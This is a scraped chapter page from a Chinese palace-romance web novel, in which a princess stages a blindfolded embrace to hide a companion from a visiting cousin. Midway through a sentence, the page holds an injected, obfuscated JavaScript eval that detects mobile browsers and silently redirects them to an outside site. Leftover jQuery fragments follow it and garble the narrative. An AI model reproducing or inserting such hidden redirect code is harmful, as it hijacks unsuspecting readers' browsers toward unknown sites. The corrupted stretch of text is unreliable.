默认冷灰
24号文字
方正启体

15. 蒙眼吻

作者:昨夜多风本书字数:K更新时间:
    一早,沈千灯收到了一封意料之外的来信。


    宫里来的。


    陛下与太后知道了她遇刺的事,来信关心需不需要再派一批护卫给她,太后还叮嘱,若有任何棘手的困难,莫要逞强,随时回宫。


    沈千灯合上信纸,面色凝重,她明明已经严令禁止将此事传回宫中,谁人如此大胆,还传到了陛下和太后的耳朵里?


    “殿下,卫陵统领求见。”此时紫沅来禀报。


    卫陵是被勒令不许跟随的长公主府亲卫统领。


    沈千灯心中有了答案。


    卫陵一进门二话不说就跪地请罪:“臣卫陵——护主不力,死罪。”


    沈千灯将信件往桌上一丢,冷笑道:“你确实该死,谁给你的胆子私自通传本宫遇刺的消息回宫?”


    卫陵却一脸迷茫抬头,“臣冤枉,此事与臣无关啊!”


    “不是你,那你请什么罪?”


    “陛下圣谕,要治臣渎职之罪,臣这才知晓殿下遇刺一事,臣护驾有失,万死难辞其咎,请殿下责罚。”卫陵卸下佩剑敬上一拜。


    沈千灯皱起眉头,“你的意思是你今日才知道?”


    “是。”


    楚王府要查内鬼不会轻易打草惊蛇,不是卫陵,还有谁呢?


    “行了,起来吧。”


    是她有意不让亲卫跟着,此事着实怪不得卫陵。


    “谢殿下。”


    沈千灯一手搭在腿上随意地垂下来,一手抵着下巴,问:“陛下要怎么罚你?”


    “陛下命臣时刻伴殿下左右,若再有失,就罚臣去西郊守皇陵。”卫陵抱拳又单膝跪下,“请殿下准许亲卫近身保护,守护殿下安全。”


    沈千灯的手在膝上有一下没一下地敲着,“本宫向四方使讨了一批护卫,府上恐怕没有你们的位置了。”


    “殿下……”


    沈千灯没给卫陵开口的机会,又继续说:“不过,本宫有件事要吩咐你们去做。”


    卫陵抱拳垂首。


    “你拿着本宫的手令回玉京去面圣,告诉陛下,算上现在的亲卫,不管是从禁军还是金吾卫里挑,本宫要八百人的亲卫营只听本宫号令。”


    “殿下这……”


    公主带八百亲卫,实有逾矩。


    沈千灯已经打定主意,恐吓卫陵道:“此事你亲自去办,明日就启程,本宫给你一个月的时间带着八百人回来见本宫,亲卫营组成后就由你率领,若办不成,不用陛下处置,本宫直接罚你去守皇陵。”


    八百,是一个不算太多又刚好有威慑力的数字。前朝玄武门之变、香积寺之战皆以八百人开局①,若是名将亲兵,必让天子难以安枕,但不会有人怀疑一个公主养了这么多亲卫的动机。


    沈千灯不为谋反,却为自保。


    此去成国敌我不明,前路未卜,没有一批可靠的队伍,她不安心。


    “放心吧,本宫还不至于轻易丧命在四方城。”


    卫陵最终抱拳领命,“谨遵殿下教令。”


    好像信使今日都赶着趟,一窝蜂的来了。


    这次是南宫云檀的回信。只此一封家书,是跟着商行的货物一路从玉京送过来的,没有快马加鞭,似是再普通不过的闺中好友之间的书信,这才耽搁了好几日。


    “八珍糕香甜,问候已带到,皆满意。家母嘱咐,春困易懒,悠闲数日未尝不可,春景亦不可辜负,若揽山河,不妨绘丹青一幅共赏。云檀。”


    内鬼楚王府已经在查了,若是有新的线索还要及时互通有无。


    ——


    沈千灯回主院找槐青却不见,院中只有三更一人。


    “槐青改了新图纸,去铁匠铺了,她见公主早上在会客,让我同公主知会一声。”


    三更钻研了几日南宫云檀顺带送来的棋谱,确实大有玄机,想找人试验一番,这里唯一能与她对弈一局的就只有沈千灯。


    “公主可有空闲与我手谈一局?”


    沈千灯本是没这个闲暇,只是脑子里乱乱的,索性坐下来梳理一番。


    三更用右手执棋,沈千灯用左手,倒形成了一种奇怪的对称。


    可惜沈千灯只是潦草地学过弈棋,棋路并不讲章法,三更新学的招数也没有用武之地,就这样一急一缓,一攻一守,也对弈了起来。


    东城,穆成盈带着侍女左逛逛右看看,又要去试衣裳,远远地有侍卫跟着。


    “掌柜的,你这里可有后门?”


    衣裳铺子老板给穆成盈指了个方向。


    “多谢。”


    “常画,别跟着我了,一会买两套衣裳让外面那两个送回府上。”


    “是。”


    穆成盈从后门出来一溜烟跑到东城四所,在门口鬼鬼祟祟,正巧紫泱出府,穆成盈跑过去掀开帷帽又迅速放下。


    “安阳县主!”紫沅惊呼。


    穆成盈指指里面,“昭宁姐姐在吗?”


    “公主应当在主院,可需要我为县主通传一声?”


    “不用了,我自己进去。”穆成盈朝紫泱摆摆手。


    紫泱向穆成盈的背影蹲了个万福礼转身离开。


    一进了府,穆成盈就摘掉帷帽,不让她来又如何,她不还是来了!


    “昭宁姐姐,你在哪呀?昭宁姐姐。”


    棋局正是胶着,沈千灯听到声音的时候穆成盈走到了院门口,已然来不及让三更回屋。


    沈千灯迅速起身向外挪了一个座位坐在三更身旁,带倒了一个棋笥。


    棋子哗哗啦啦从方桌倾泻到地上。


    三更黑眸一闪,看看棋,又偏过头来看沈千灯,嘴唇翕动。


    “信我。”


    其实三更想说,穆成盈未必记得他的样貌。


    很快,三更就看不到沈千灯的双眼了。


    他的眼睛被蒙住了,怀里多了一个人。


    沈千灯双手擦过三更的耳朵,在他的头顶用右手的指尖刃划开了包扎左手的细布,双手拉开细布覆在了三更的眼睛上,垂至耳后。


    白纱变成了三更的眼纱。


    沈千灯反手扯过三更的衣领,侧身挡住他的脸,两人就这样贴在一起,近到远远看上去亲昵到像是在接吻。


    明明是行云流水的动作,可整个世界仿佛停滞了几息。


    “昭宁姐姐,昭……”


    穆成盈走进来看到的就是这样一幕,八角亭曼舞的轻纱下是一对缠绵的眷侣。


    沈千灯侧身坐在他怀里,三更感受到沈千灯长长的缠丝金耳挂扫过他的颈侧,时有时无酥酥麻麻的,很痒。


    他偏头动了一下,沈千灯却抓住他的肩膀揽上去。


    “别动。”


    三更一愣,手掌虚握一下,也环住沈千灯的腰。


    一只手能搂住大半的腰。


    两人的距离又近了一分,鼻尖挨在一起,能感受到彼此呼吸的交错。三更的胸口有很重的伤药的味道,沈千灯的脖颈也是。隔着白纱,他只能看到沈千灯模糊的轮廓和好像在晃动的步摇流苏。


    穆成盈闭眼,转身,以此生最快的速度跑出了院子。


    听到穆成盈走远,沈千灯收回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268771|182206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缠在三更脖子上的手。


    “她走了。”


    她正准备取下三更脸上白纱的这一刻,三更抬头,风也缱绻,从三更背后吹来,带走了挂在三更耳后四指宽的眼纱,露出三更婆娑的泪眼。


    “你怎么……哭了?”


    沈千灯的手停在半空,想替三更擦眼泪又没有碰上去。


    三更眯着眼睛,忍不住用手去揉,“你的药。”


    虽然白纱只是虚空地搭在三更的眼前,并没有碰倒药粉,但还是熏到了眼睛。


    “哦,”沈千灯回过神来,赶紧从三更怀里站起来,“要去洗洗吗?”


    三更放下手摇头,露出泛红的眼眶,将凝未凝的眼泪盘桓在他的眼睑里,秋水剪瞳神。


    “没事。公主的手要重新包扎吗?”


    沈千灯这才伸出左手,刀伤已经在愈合,手心是一条笔直的刚刚结痂的深红色伤疤。


    三更去取药膏重新给沈千灯上药,沈千灯蹲在地上一颗颗捡起倾倒的半笥棋子。


    玉棋重新入笥碰撞出清脆的声响。


    “可惜棋局乱了,这局要算平局。”


    “嗯。”三更微微颔首。


    瓷药匙碰在新痂上特别痒,沈千灯忍不住想握拳攥住。


    三更左手扣住了沈千灯的手腕,“明知道我左肩有伤,别动了。”


    手腕被一股不重的力量攫住,沈千灯张开了手,她看着三更低头专心地上药。


    沈千灯的手新新旧旧受过很多伤,最大的莫过于这次空手接白刃,小伤多到她记不清,只是都没留下什么明显的疤痕,只有离得像三更这么近,仔细看,才能瞧得出一些端倪。


    “好了。”三更松开沈千灯的手腕,重新拿出一卷细布给她裹上。


    沈千灯举起手在三更面前前后样了样,露出一个笑容,“多谢!”


    “改日再与公主开新局。方才……还要多谢公主。”三更收拾着桌子,没有看沈千灯。


    沈千灯才注意到三更的耳朵红得滴血,抿唇一笑,左手转而伸出一根手指挑起三更的下巴,调戏他:“小郎君——”


    三更停下手上的动作抬眼看她,她又收回手作揖。


    “小女子此番唐突了小郎君,还望小郎君莫怪。”沈千灯像个占了姑娘便宜的登徒子,说的言之凿凿。


    “公主言重了。”


    “不怪啊,那……有机会继续——”


    沈千灯转了转浸着笑的双眸,边说着边退出了八角亭。


    “——继续下棋!”


    三更看着沈千灯跑开的背影,漾起一抹笑意。


    *


    前厅里,穆成盈如坐针毡,手在衣服上搓来搓去,起身正欲出门,迎面撞上了跨过门槛进来的沈千灯。


    “昭宁姐姐……好巧啊。”穆成盈扯出一个笑容。


    沈千灯径直坐下,“怎么突然来了,找我有事?”


    两人都默契的没有提起刚才那一幕。


    穆成盈低头抠了抠手指,“也没有,就是我哥不让我过来,我同他作对罢了。”


    紫泱跟在沈千灯身后来给穆成盈上茶。


    “你同他说什么了?”


    “就……说他府上的春笋汤不及姐姐这里鲜美,惹他恼羞成怒了。”


    沈千灯被这般说辞逗笑,转头对紫泱说:“紫泱,县主夸你呢。”


    紫泱上前一步,“谢县主喜欢。”


    “那今日也要留在这里用膳。”


    正当满堂欢笑其乐融融的时候,外面却有人来报,四方使大人求见。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)